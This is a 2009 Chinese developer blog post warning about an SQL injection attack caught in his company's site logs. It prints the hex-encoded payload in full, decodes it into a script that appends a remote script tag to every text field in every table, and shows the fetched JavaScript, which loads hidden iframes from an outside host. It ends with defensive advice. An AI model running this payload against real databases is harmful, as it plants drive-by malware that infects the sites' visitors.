SQL注入案例曝光,请大家提高警惕

近日公司网站发现有无聊人进行SQL注入攻击,在这里曝曝光,在鄙视那些"无聊之人无聊之举"的同时,望大家提高安全意识。

日志记录内容是这样的
Url:/(x(1)a(eq2io1uyygekaaaanwqxmge4ywytzwy5yi00ytbjlwjlmdatotllmtlmodaym2m5lcndikok9dche5rd2s_rxyhp43i1))/production/prodetail.aspx。SQL注入攻击:e7fa47d3-5822-486f-a148-a77b8fd3802f;dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

简单解说一下,呵呵。
其一,跟常规注入手段一样,前面加上';(分号,用于结束前一条语句),后边加上--(用于注释后边的语句)
其二,声明了个 @s,关键部分来了,使用了编码的方式把sql语句变成一大串“乱七八糟”的东西,然后通过exec可以执行“动态”SQL的特性运行脚本。还逃避了对关键字字符串的检查。
经过运行环境解释那堆东西会变成以下语句
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')Fetch Next From  Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor
运行后库中的每个表的每条记录都会加上<script src=http://8f8el3l.cn/0.js></script>这段脚本,
脚本内容是这样的
document.writeln(" <base onmouseover=\"window.status=\'完毕                                                  \';return true\">");
document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> ");
document.writeln(" <!-- Hide ");
document.writeln("function killErrors() { ");
document.writeln("return true; ");
document.writeln("} ");
document.writeln("window.onerror = killErrors; ");
document.writeln("\/\/ --> ");
document.writeln(" <\/SCRIPT>");
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 800)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1a01ab2="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
}
}Get();

接着下来会发生什么事就不用再多说了。


至于有哪些防范措施当然也是常用几招喽
1.需要执行的SQL语句使用参数对象封装参数数据,不要用字符串形式串个SQL出来直接运行,特别是Internet环境,别以为简单的把文本框的长度限制一下,不让那个框输入什么就可以万事大吉了。
2.对最终需要运行的SQL语句做关键字检查。不过也要好好考虑需要屏蔽哪些关键字喽,像上边例子,屏蔽了update还是没用的喽。
3.通过开发个Http模块,加强请求内容安全的处理喽。

其它的就留给大家一起来探讨喽。

最后再一次声明,曝光这些不是为了教大家怎么做SQL注入,而是提醒大家加强安全意识,再一次鄙视只搞破坏不搞建设的人,再慨叹一句:为什么有这么有本事的人不动动脑筋做点好事,花这样的时间来研究对别人有害对自己无益的事。 各位施主回头是岸啊!

这两天发现连深圳市考试中心的网站(http://www.testcenter.gov.cn/)也被这种攻击整了,也不知道那些人攻击的人是得到什么“收益”了,真是无聊透了。

决定对捕获的攻击的IP和脚本块公布到回复里面。可能此举也是有些无聊,呵呵。

posted @ 2009-07-28 18:24 黄耀辉 阅读(...) 评论(...) 编辑 收藏